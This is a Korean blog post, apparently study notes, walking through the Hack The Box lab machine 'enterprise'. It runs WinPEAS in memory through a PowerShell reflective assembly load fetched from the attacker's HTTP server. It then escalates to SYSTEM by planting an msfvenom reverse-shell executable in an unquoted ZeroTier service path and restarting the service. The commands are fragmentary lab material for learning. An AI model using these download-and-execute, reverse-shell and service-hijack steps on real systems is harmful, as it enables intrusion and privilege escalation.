Red Team/My 프로젝트

정보보안 스터디 - 31주차 3일 - HTB 실전 내부망 모의해킹2

wonder12 2023. 5. 14. 07:59

 

 실전 내부망 모의해킹 - HTB: enterprise

 

확인해보니

win version 2019 1809 입니다. 18년에 마지막 업데이트로 많이 안된 시스템으로 보입니다.

 

systeminfo.exe 로 얼마나 패치된지 확인합니다.

 

get-mpreference
대부분 보려면 로컬 관리자 권한있어야 하지만
없어도 볼수있는게 disable realmonitoring:True  

=실시간 감지 꺼져 있습니다.

자동화된 스크립트 winpeas 사용하여 권한 상승 가능여부를 확인합니다.

 

c# 을 사용해서 하드디스크 쓰지 않고 인메모리상에서 하려고합니다.
msfvenom -p ~ -o 64비트.exe

포트 8443 python http.server 구동
ip a 바로 확인

 

 

$wp=[system.reflection.assembly]::load (invoke-webrequest) [pyserver ip]


파워쉘 one liner 사용합니다.
페이로드 powershell assembly reflection =  파워쉘을 통해서 C# 메모리상에서 바로 사용할 수 있게하는 기술입니다.


서버에서 가져와서 메모리 상에 로드 합니다.
즉 C# 어셈블리를 바이트형식으로 받아온 후 메모리상에서 실행하는 겁니다.

main이라는 function 사용할겁니다.

다운로드 받아갔다는 표시가 뜨고
메모리상에서 실행됩니다.

Winpeas는

output이 많아 상당히 많이 알려줍니다.
너무많아서 현재 취약한 서비스만 추려서 봅니다.


unquoted windows service path 취약점이 있습니다.
" "가 없을 때 PE파일 먼저실행되는 취약점으로

자세히 말하면 " "를 안적었을 때 
Zero.exe 이름처럼 파일이 생성되면 이게 대신 실행되어 버립니다.

program files 에서는 기본적으로 파일 생성 못하지만
program files\zero tier\ 에는 생성이 가능한 것으로 확인되고,
get-acl -Path "program files\zero tier" 로
모든 유저 쓰기권한 있음을 확인합니다.

 

Step

Zero.exe - reverseshell 만들고

 

쉘을 zero tier 디렉에 move 하면되고 

restart zerotieroneservice 해야합니다.


권한을 확인하기 위해
get-serviceacl powershell 스크립트 사용합니다.
해당 파워쉘 스크립트는 복붙 하면 되고 get-serviceacl 하면 됩니다.
확인결과 재시작권한이 있습니다. 

 

shell/reverse_tcp  exitfunc=thread -f exe


리버스쉘만들어줍니다.

또한 multi/handler 리슨 준비해줍니다.

wget -o [Path] 에 놓겠다.
stop-service zerotier~
start-service zerotier~

system 인것을 확인, root flag 확인합니다.